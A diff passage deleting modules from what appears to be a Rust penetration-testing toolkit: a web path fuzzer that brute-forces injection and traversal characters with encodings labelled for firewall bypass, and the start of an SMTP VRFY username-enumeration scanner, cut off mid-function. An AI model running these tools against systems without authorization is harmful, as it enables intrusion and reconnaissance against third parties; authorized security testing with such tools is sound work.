std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(10)
|
||||
} else {
|
||||
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
|
||||
}
|
||||
}
|
||||
@@ -1,555 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::{Client, header};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::fs::{self, OpenOptions};
|
||||
use std::io::Write;
|
||||
use std::fmt::Write as FmtWrite; // Rename to avoid conflict with io::Write
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{mpsc, Semaphore};
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no, normalize_target, prompt_existing_file
|
||||
};
|
||||
use base64::{Engine as _, engine::general_purpose};
|
||||
use rand::seq::IndexedRandom;
|
||||
|
||||
// --- Enums & Config ---
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug, Clone, Copy, PartialEq)]
|
||||
pub enum EncodingType {
|
||||
None,
|
||||
Url,
|
||||
DoubleUrl,
|
||||
Hex,
|
||||
Unicode,
|
||||
HtmlEntity,
|
||||
Decimal,
|
||||
Octal,
|
||||
Base64,
|
||||
Mixed,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct SequentialFuzzerConfig {
|
||||
pub target_url: String,
|
||||
pub charset_mode: u8, // 1=SQL, 2=Traversal, 3=Cmd, 4=All, 5=Custom
|
||||
pub custom_charset: Option<String>,
|
||||
pub min_length: usize,
|
||||
pub max_length: usize,
|
||||
pub encoding: EncodingType,
|
||||
pub concurrency: usize,
|
||||
pub cookies: Option<String>,
|
||||
pub verbose: bool,
|
||||
}
|
||||
|
||||
impl Default for SequentialFuzzerConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target_url: String::new(),
|
||||
charset_mode: 4,
|
||||
custom_charset: None,
|
||||
min_length: 1,
|
||||
max_length: 3,
|
||||
encoding: EncodingType::None,
|
||||
concurrency: 50,
|
||||
cookies: None,
|
||||
verbose: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct FuzzResult {
|
||||
path: String,
|
||||
status: u16,
|
||||
size: u64,
|
||||
}
|
||||
|
||||
// --- Charsets ---
|
||||
|
||||
const CHARSET_SQL: &str = "'\";-/*=";
|
||||
const CHARSET_TRAVERSAL: &str = "./\\";
|
||||
const CHARSET_CMD: &str = "|;&$()<> '\"";
|
||||
const CHARSET_ALL: &str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{};:'\",.<>/?|`~";
|
||||
|
||||
fn get_charset(config: &SequentialFuzzerConfig) -> Vec<char> {
|
||||
match config.charset_mode {
|
||||
1 => CHARSET_SQL.chars().collect(),
|
||||
2 => CHARSET_TRAVERSAL.chars().collect(),
|
||||
3 => CHARSET_CMD.chars().collect(),
|
||||
5 => config.custom_charset.as_deref().unwrap_or("").chars().collect(),
|
||||
_ => CHARSET_ALL.chars().collect(),
|
||||
}
|
||||
}
|
||||
|
||||
// --- Encoding Logic ---
|
||||
|
||||
fn encode_payload(input: &str, encoding: EncodingType) -> String {
|
||||
match encoding {
|
||||
EncodingType::None => input.to_string(),
|
||||
EncodingType::Url => urlencoding::encode(input).to_string(),
|
||||
EncodingType::DoubleUrl => urlencoding::encode(&urlencoding::encode(input).to_string()).to_string(),
|
||||
EncodingType::Hex => {
|
||||
input.chars().map(|c| format!("\\x{:02X}", c as u8)).collect()
|
||||
},
|
||||
EncodingType::Unicode => {
|
||||
input.chars().map(|c| format!("\\u00{:02X}", c as u8)).collect()
|
||||
},
|
||||
EncodingType::HtmlEntity => {
|
||||
input.chars().map(|c| {
|
||||
match c {
|
||||
'"' => """.to_string(),
|
||||
'\'' => "'".to_string(),
|
||||
'<' => "<".to_string(),
|
||||
'>' => ">".to_string(),
|
||||
'&' => "&".to_string(),
|
||||
_ => c.to_string()
|
||||
}
|
||||
}).collect()
|
||||
},
|
||||
EncodingType::Decimal => {
|
||||
input.chars().map(|c| format!("&#{};", c as u8)).collect()
|
||||
},
|
||||
EncodingType::Octal => {
|
||||
input.chars().map(|c| format!("\\{:03o}", c as u8)).collect()
|
||||
},
|
||||
EncodingType::Base64 => {
|
||||
general_purpose::STANDARD.encode(input)
|
||||
},
|
||||
EncodingType::Mixed => {
|
||||
// Randomly apply an encoding per character (simplified: raw or url or hex)
|
||||
let mut rng = rand::rng();
|
||||
input.chars().map(|c| {
|
||||
match [0, 1, 2].choose(&mut rng).unwrap_or(&0) {
|
||||
0 => c.to_string(),
|
||||
1 => format!("%{:02X}", c as u8),
|
||||
_ => format!("\\x{:02X}", c as u8),
|
||||
}
|
||||
}).collect()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Entry ---
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// Menu
|
||||
println!("{}", "Select Operation Mode:".cyan().bold());
|
||||
println!("1. Quick Attack (All ASCII, No Encoding)");
|
||||
println!("2. Create Template (Wizard -> Save)");
|
||||
println!("3. Load Template (Load -> Run)");
|
||||
println!("4. Custom Attack (Wizard -> Run)");
|
||||
|
||||
let choice = prompt_default("Selection", "1")?;
|
||||
|
||||
let config = match choice.as_str() {
|
||||
"1" => setup_quick_attack(target).await?,
|
||||
"2" => {
|
||||
let cfg = setup_wizard(target).await?;
|
||||
save_template(&cfg).await?;
|
||||
println!("\n{}", "Template saved. Exiting module.".green());
|
||||
return Ok(());
|
||||
},
|
||||
"3" => load_template().await?,
|
||||
"4" => setup_wizard(target).await?,
|
||||
_ => {
|
||||
println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow());
|
||||
setup_quick_attack(target).await?
|
||||
}
|
||||
};
|
||||
|
||||
execute_fuzz(config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sequential Fuzzer (Brute Force) ║".cyan());
|
||||
println!("{}", "║ Features: Actor Storage, 10 Encodings, Instant Saving ║".red());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
// --- Setup ---
|
||||
|
||||
async fn setup_quick_attack(initial_target: &str) -> Result<SequentialFuzzerConfig> {
|
||||
println!("\n{}", "--- Quick Attack Setup ---".blue().bold());
|
||||
let url = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// Forced Input for Reliability
|
||||
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?;
|
||||
let min_len: usize = min_len_str.parse().unwrap_or(1);
|
||||
|
||||
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?;
|
||||
let max_len: usize = max_len_str.parse().unwrap_or(3);
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?;
|
||||
|
||||
Ok(SequentialFuzzerConfig {
|
||||
target_url: url,
|
||||
charset_mode: 4, // All
|
||||
min_length: min_len,
|
||||
max_length: max_len,
|
||||
encoding: EncodingType::None,
|
||||
concurrency: 50,
|
||||
verbose,
|
||||
..SequentialFuzzerConfig::default()
|
||||
})
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
|
||||
println!("\n{}", "--- Configuration Wizard ---".blue().bold());
|
||||
|
||||
// 1. Target
|
||||
let url = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// 2. Charset
|
||||
println!("\n{}", "Select Charset:".cyan());
|
||||
println!("1. SQL Injection ({})", CHARSET_SQL);
|
||||
println!("2. Path Traversal ({})", CHARSET_TRAVERSAL);
|
||||
println!("3. Command Injection ({})", CHARSET_CMD);
|
||||
println!("4. All Printable ASCII (Standard Brute)");
|
||||
println!("5. Custom");
|
||||
|
||||
let c_mode_str = prompt_required("Charset Selection (1-5)")?;
|
||||
let c_mode: u8 = c_mode_str.parse().unwrap_or(4);
|
||||
|
||||
let custom = if c_mode == 5 {
|
||||
Some(prompt_required("Custom Charset String")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// 3. Lengths
|
||||
// Using prompt_required to prevent skipping issues with buffered inputs
|
||||
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?;
|
||||
let min_len: usize = min_len_str.parse().unwrap_or(1);
|
||||
|
||||
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?;
|
||||
let max_len: usize = max_len_str.parse().unwrap_or(3);
|
||||
|
||||
if max_len > 4 && c_mode == 4 {
|
||||
println!("{}", "[!] Warning: Brute forcing printable ASCII > 4 chars will take a VERY long time.".yellow());
|
||||
}
|
||||
|
||||
// 4. Encoding
|
||||
println!("\n{}", "Select Encoding (WAF Bypass):".cyan());
|
||||
println!("0. None (Raw)");
|
||||
println!("1. URL Encode (%XX)");
|
||||
println!("2. Double URL Encode (%25XX)");
|
||||
println!("3. Hex Encode (\\xXX)");
|
||||
println!("4. Unicode (\\u00XX)");
|
||||
println!("5. HTML Entity (")");
|
||||
println!("6. Decimal (&#DDD;)");
|
||||
println!("7. Octal (\\OOO)");
|
||||
println!("8. Base64");
|
||||
println!("9. Mixed/Random");
|
||||
|
||||
let enc_choice_str = prompt_required("Encoding Selection (0-9)")?;
|
||||
let enc_choice: u8 = enc_choice_str.parse().unwrap_or(0);
|
||||
|
||||
let encoding = match enc_choice {
|
||||
1 => EncodingType::Url,
|
||||
2 => EncodingType::DoubleUrl,
|
||||
3 => EncodingType::Hex,
|
||||
4 => EncodingType::Unicode,
|
||||
5 => EncodingType::HtmlEntity,
|
||||
6 => EncodingType::Decimal,
|
||||
7 => EncodingType::Octal,
|
||||
8 => EncodingType::Base64,
|
||||
9 => EncodingType::Mixed,
|
||||
_ => EncodingType::None,
|
||||
};
|
||||
|
||||
// 5. Config
|
||||
let concurrency_str = prompt_required("Concurrency (Threads)")?;
|
||||
let concurrency: usize = concurrency_str.parse().unwrap_or(50);
|
||||
|
||||
let cookies = if prompt_yes_no("Add Cookies?", false)? {
|
||||
Some(prompt_required("Cookie Header Value")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?;
|
||||
|
||||
Ok(SequentialFuzzerConfig {
|
||||
target_url: url,
|
||||
charset_mode: c_mode,
|
||||
custom_charset: custom,
|
||||
min_length: min_len,
|
||||
max_length: max_len,
|
||||
encoding,
|
||||
concurrency,
|
||||
cookies,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn parse_target_interactive(raw: &str) -> Result<String> {
|
||||
let base = if raw.is_empty() {
|
||||
normalize_target(&prompt_required("Target URL")?)?
|
||||
} else {
|
||||
normalize_target(raw)?
|
||||
};
|
||||
|
||||
// Ensure protocol
|
||||
let url = if !base.starts_with("http") {
|
||||
format!("http://{}", base)
|
||||
} else {
|
||||
base
|
||||
};
|
||||
|
||||
// Ensure trailing slash
|
||||
if !url.ends_with('/') {
|
||||
println!("{}", format!("[*] Current Target: {}", url).cyan());
|
||||
if prompt_yes_no("Target does not end with '/'. Append it?", true)? {
|
||||
Ok(format!("{}/", url))
|
||||
} else {
|
||||
Ok(url)
|
||||
}
|
||||
} else {
|
||||
Ok(url)
|
||||
}
|
||||
}
|
||||
|
||||
// --- Persistence ---
|
||||
|
||||
async fn save_template(config: &SequentialFuzzerConfig) -> Result<()> {
|
||||
let name = prompt_default("Template Name", "fuzz_template.json")?;
|
||||
let json = serde_json::to_string_pretty(config)?;
|
||||
fs::write(&name, json).context("Failed to write template")?;
|
||||
println!("Saved to {}", name);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn load_template() -> Result<SequentialFuzzerConfig> {
|
||||
let path = prompt_existing_file("Template File")?;
|
||||
let content = fs::read_to_string(&path)?;
|
||||
let config: SequentialFuzzerConfig = serde_json::from_str(&content).context("Invalid JSON")?;
|
||||
println!("{}", "Loaded Config.".green());
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
// --- Execution Engine ---
|
||||
|
||||
enum WriterMessage {
|
||||
Result(FuzzResult),
|
||||
Stop,
|
||||
}
|
||||
|
||||
async fn execute_fuzz(config: SequentialFuzzerConfig) -> Result<()> {
|
||||
// 1. Prepare Output Dir
|
||||
let timestamp = chrono::Local::now().format("%Y%m%d_%H%M%S").to_string();
|
||||
let out_dir = format!("scans/fuzz_{}", timestamp);
|
||||
fs::create_dir_all(&out_dir).context("Failed to create output dir")?;
|
||||
println!("Output Directory: {}", out_dir.cyan());
|
||||
|
||||
// 2. Spawn Writer Actor
|
||||
let (tx, mut rx) = mpsc::channel::<WriterMessage>(1000);
|
||||
let writer_dir = out_dir.clone();
|
||||
let verbose = config.verbose;
|
||||
|
||||
// We cannot move the JoinHandle out easily if we await it later, but we can spawn it.
|
||||
// We need to await it at the end.
|
||||
let writer_handle = tokio::spawn(async move {
|
||||
let mut buffer: HashMap<u16, Vec<FuzzResult>> = HashMap::new();
|
||||
// We don't keep file handles open to avoid limits, we append-open each time.
|
||||
|
||||
while let Some(msg) = rx.recv().await {
|
||||
match msg {
|
||||
WriterMessage::Result(res) => {
|
||||
// 1. Instant Save
|
||||
let file_path = format!("{}/raw_{}.txt", writer_dir, res.status);
|
||||
let line = format!("[Size: {}] {}\n", res.size, res.path);
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&file_path) {
|
||||
let _ = file.write_all(line.as_bytes());
|
||||
}
|
||||
|
||||
// 2. Print Control (Real-time Output)
|
||||
let status = res.status;
|
||||
let should_print = if status == 403 && !verbose {
|
||||
false
|
||||
} else {
|
||||
true
|
||||
};
|
||||
|
||||
if should_print {
|
||||
let status_display = if status >= 200 && status < 300 {
|
||||
format!("{} {}", "[FOUND]".green().bold(), status.to_string().green())
|
||||
} else if status >= 300 && status < 400 {
|
||||
format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue())
|
||||
} else if status >= 500 {
|
||||
format!("{} {}", "[ERROR]".red().bold(), status.to_string().red())
|
||||
} else if status == 403 || status == 401 {
|
||||
format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow())
|
||||
} else {
|
||||
format!("[{}]", status).white().to_string()
|
||||
};
|
||||
|
||||
println!("{} Size: {} | {}",
|
||||
status_display,
|
||||
res.size.to_string().dimmed(),
|
||||
res.path
|
||||
);
|
||||
}
|
||||
|
||||
// 3. Buffer
|
||||
buffer.entry(res.status).or_default().push(res);
|
||||
},
|
||||
WriterMessage::Stop => break,
|
||||
}
|
||||
}
|
||||
buffer
|
||||
});
|
||||
|
||||
// 3. Engine Setup
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
let charset = get_charset(&config);
|
||||
let sem = Arc::new(Semaphore::new(config.concurrency));
|
||||
|
||||
println!("{}", "Starting Fuzzer... Press Ctrl+C to abort (not handled cleanly)".yellow());
|
||||
|
||||
// 4. Generator Loop
|
||||
// Memory Fix: Do not store JoinHandles in a Vec.
|
||||
// Instead, we rely on the semaphore to track active tasks.
|
||||
|
||||
// We iterate lengths
|
||||
for len in config.min_length..=config.max_length {
|
||||
spawn_combinations_iterative(
|
||||
&client,
|
||||
&config,
|
||||
&charset,
|
||||
len,
|
||||
&sem,
|
||||
&tx
|
||||
).await;
|
||||
}
|
||||
|
||||
// 5. Wait for all tasks to finish
|
||||
// We do this by attempting to acquire ALL permits.
|
||||
// This will block until all active tasks release their permits.
|
||||
println!("Generation done. Waiting for active tasks to complete...");
|
||||
let _ = sem.acquire_many(config.concurrency as u32).await;
|
||||
|
||||
// Stop Writer
|
||||
let _ = tx.send(WriterMessage::Stop).await;
|
||||
let final_buffer = writer_handle.await?;
|
||||
|
||||
println!("\n{}", "Scan Complete. Sorting results...".blue());
|
||||
|
||||
// 6. Sort and Final Save
|
||||
let mut total_403 = 0;
|
||||
|
||||
for (status, mut results) in final_buffer {
|
||||
if status == 403 {
|
||||
total_403 += results.len();
|
||||
}
|
||||
|
||||
results.sort_by(|a, b| b.size.cmp(&a.size)); // Descending size
|
||||
|
||||
let file_path = format!("{}/sorted_{}.txt", out_dir, status);
|
||||
let mut content = String::new();
|
||||
for r in results {
|
||||
// Avoid unwrap on string write (very unlikely to fail on memory, but strictness requested)
|
||||
let _ = writeln!(content, "[Size: {}] {}", r.size, r.path);
|
||||
}
|
||||
fs::write(&file_path, content)?;
|
||||
println!("Saved sorted results for status {} to {}", status, file_path.green());
|
||||
}
|
||||
|
||||
if total_403 > 0 && !config.verbose {
|
||||
println!("{}", format!("\n[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", total_403).yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Iterative generator that spawns tasks (Base-N Counting)
|
||||
async fn spawn_combinations_iterative(
|
||||
client: &Client,
|
||||
config: &SequentialFuzzerConfig,
|
||||
charset: &[char],
|
||||
length: usize,
|
||||
sem: &Arc<Semaphore>,
|
||||
tx: &mpsc::Sender<WriterMessage>
|
||||
) {
|
||||
if charset.is_empty() || length == 0 { return; }
|
||||
|
||||
// Performance: Parse headers ONCE, not per iteration
|
||||
let mut base_headers = header::HeaderMap::new();
|
||||
if let Some(c) = &config.cookies {
|
||||
if let Ok(val) = c.parse() {
|
||||
base_headers.insert(header::COOKIE, val);
|
||||
}
|
||||
}
|
||||
|
||||
// Indices for each position in the string (0 to charset.len()-1)
|
||||
let mut indices = vec![0; length];
|
||||
let charset_len = charset.len();
|
||||
|
||||
loop {
|
||||
// 1. Build String from Indices
|
||||
let current_payload: String = indices.iter().map(|&i| charset[i]).collect();
|
||||
|
||||
// 2. Execute Task Logic
|
||||
// Safety: Handle semaphore error (closed) gracefully
|
||||
let permit = match sem.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
// Semaphore closed or poisoned, stop generation
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let client = client.clone();
|
||||
let tx = tx.clone();
|
||||
let base = config.target_url.clone();
|
||||
let encoding = config.encoding;
|
||||
let headers = base_headers.clone(); // Clone ARC-like/cheap map? No, HeaderMap clone is relatively cheap but doing it here is necessary for async move.
|
||||
|
||||
// Apply encoding
|
||||
let encoded_payload = encode_payload(¤t_payload, encoding);
|
||||
let url = format!("{}{}", base, encoded_payload);
|
||||
|
||||
tokio::spawn(async move {
|
||||
let _permit = permit; // drop when task done (releases semaphore)
|
||||
|
||||
let req = client.get(&url).headers(headers);
|
||||
// Safety: Handle send errors (don't unwrap)
|
||||
if let Ok(resp) = req.send().await {
|
||||
let status = resp.status().as_u16();
|
||||
let size = resp.content_length().unwrap_or(0);
|
||||
|
||||
let res = FuzzResult {
|
||||
path: url,
|
||||
status,
|
||||
size,
|
||||
};
|
||||
// If receiver dropped, we just stop sending.
|
||||
let _ = tx.send(WriterMessage::Result(res)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// 3. Increment Indices (Standard Base-N Carry)
|
||||
let mut carry = true;
|
||||
for i in (0..length).rev() {
|
||||
indices[i] += 1;
|
||||
if indices[i] < charset_len {
|
||||
carry = false;
|
||||
break; // No carry needed, valid state found
|
||||
}
|
||||
indices[i] = 0; // Reset this position and carry to left
|
||||
}
|
||||
|
||||
if carry {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,865 +0,0 @@
|
||||
//! SMTP Username Enumeration Scanner Module
|
||||
//!
|
||||
//! Enumerates usernames on an SMTP server using the VRFY command.
|
||||
//! Supports wordlist-based enumeration with concurrent scanning.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use telnet::{Telnet, Event};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_SMTP_PORT: u16 = 25;
|
||||
const DEFAULT_THREADS: usize = 10;
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 3000;
|
||||
/// If username wordlist is larger than this, switch to streaming mode
|
||||
const STREAMING_THRESHOLD_BYTES: u64 = 50 * 1024 * 1024; // 50 MB
|
||||
|
||||
struct Statistics {
|
||||
total_checked: AtomicU64,
|
||||
valid_users: AtomicU64,
|
||||
invalid_users: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_checked: AtomicU64::new(0),
|
||||
valid_users: AtomicU64::new(0),
|
||||
invalid_users: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_check(&self, valid: bool, error: bool) {
|
||||
self.total_checked.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if valid {
|
||||
self.valid_users.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.invalid_users.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_checked.load(Ordering::Relaxed);
|
||||
let valid = self.valid_users.load(Ordering::Relaxed);
|
||||
let invalid = self.invalid_users.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} checked | {} valid | {} invalid | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
valid.to_string().green(),
|
||||
invalid,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_checked.load(Ordering::Relaxed);
|
||||
let valid = self.valid_users.load(Ordering::Relaxed);
|
||||
let invalid = self.invalid_users.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total checked: {}", total);
|
||||
println!(" Valid users: {}", valid.to_string().green().bold());
|
||||
println!(" Invalid users: {}", invalid);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} checks/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SMTP Username Enumeration Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerates usernames using SMTP VRFY command ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpUserEnumConfig {
|
||||
/// Raw target strings (IP/hostname) before normalization
|
||||
targets: Vec<String>,
|
||||
/// Port used for all targets
|
||||
port: u16,
|
||||
/// Username wordlist path
|
||||
username_wordlist: String,
|
||||
/// Number of worker threads
|
||||
threads: usize,
|
||||
/// Per-connection timeout in milliseconds
|
||||
timeout_ms: u64,
|
||||
/// Verbose output flag
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Initial target: {}", target).cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[ Configuration Menu ]".bold().green());
|
||||
println!(" 1. Single target (use current target only)");
|
||||
println!(" 2. Targets from file (ignore current target)");
|
||||
println!(" 3. Current target + targets from file");
|
||||
println!();
|
||||
let mode = prompt("Select mode [1-3] (default 1): ")?;
|
||||
|
||||
// Build initial target list based on selected mode
|
||||
let mut targets: Vec<String> = Vec::new();
|
||||
match mode.trim() {
|
||||
"2" => {
|
||||
let file_path = prompt("Targets file (one IP/hostname per line): ")?;
|
||||
if file_path.trim().is_empty() {
|
||||
return Err(anyhow!("Targets file path cannot be empty in mode 2"));
|
||||
}
|
||||
let loaded = load_targets_from_file(file_path.trim())?;
|
||||
if loaded.is_empty() {
|
||||
return Err(anyhow!("No valid targets loaded from file"));
|
||||
}
|
||||
targets.extend(loaded);
|
||||
}
|
||||
"3" => {
|
||||
if !target.trim().is_empty() {
|
||||
targets.push(target.trim().to_string());
|
||||
}
|
||||
let file_path = prompt("Additional targets file (one IP/hostname per line): ")?;
|
||||
if file_path.trim().is_empty() {
|
||||
return Err(anyhow!("Targets file path cannot be empty in mode 3"));
|
||||
}
|
||||
let loaded = load_targets_from_file(file_path.trim())?;
|
||||
if loaded.is_empty() {
|
||||
return Err(anyhow!("No valid additional targets loaded from file"));
|
||||
}
|
||||
targets.extend(loaded);
|
||||
}
|
||||
// Default: mode 1 – single target only
|
||||
_ => {
|
||||
if !target.trim().is_empty() {
|
||||
targets.push(target.trim().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let port = prompt_port(DEFAULT_SMTP_PORT)?;
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
let threads = prompt_threads(DEFAULT_THREADS)?;
|
||||
let timeout_ms = prompt_timeout(DEFAULT_TIMEOUT_MS)?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified for SMTP enumeration"));
|
||||
}
|
||||
|
||||
let config = SmtpUserEnumConfig {
|
||||
targets,
|
||||
port,
|
||||
username_wordlist,
|
||||
threads,
|
||||
timeout_ms,
|
||||
verbose,
|
||||
};
|
||||
|
||||
run_smtp_user_enum(config).await
|
||||
}
|
||||
|
||||
async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
// Normalize and validate all targets
|
||||
let mut normalized_targets: Vec<(String, String)> = Vec::new();
|
||||
for raw in &config.targets {
|
||||
match normalize_target(raw, config.port) {
|
||||
Ok(addr) => normalized_targets.push((raw.clone(), addr)),
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[!] Skipping target '{}': {}", raw, e).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if normalized_targets.is_empty() {
|
||||
return Err(anyhow!("All targets failed validation/normalization"));
|
||||
}
|
||||
|
||||
// Decide whether to load usernames into memory or stream line-by-line
|
||||
let metadata = std::fs::metadata(&config.username_wordlist)
|
||||
.with_context(|| format!("Failed to stat username wordlist: {}", config.username_wordlist))?;
|
||||
let size_bytes = metadata.len();
|
||||
let use_streaming = size_bytes > STREAMING_THRESHOLD_BYTES;
|
||||
|
||||
if !use_streaming {
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty."));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Total targets: {} (port {})",
|
||||
normalized_targets.len(),
|
||||
config.port
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
println!("{}", format!("[*] Threads: {}", config.threads).cyan());
|
||||
println!("{}", format!("[*] Timeout: {}ms", config.timeout_ms).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// Queue work: every username against every target (in-memory mode)
|
||||
for (raw_target, addr) in &normalized_targets {
|
||||
for username in &usernames {
|
||||
tx.send((raw_target.clone(), addr.clone(), username.clone()))?;
|
||||
}
|
||||
}
|
||||
drop(tx);
|
||||
|
||||
// Start progress reporter thread
|
||||
let progress_stop = Arc::clone(&stop_flag);
|
||||
let progress_stats = Arc::clone(&stats);
|
||||
let progress_handle = std::thread::spawn(move || {
|
||||
while !progress_stop.load(Ordering::Relaxed) {
|
||||
progress_stats.print_progress();
|
||||
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
|
||||
}
|
||||
});
|
||||
|
||||
// Worker threads
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let unknown = Arc::clone(&unknown);
|
||||
let stats = Arc::clone(&stats);
|
||||
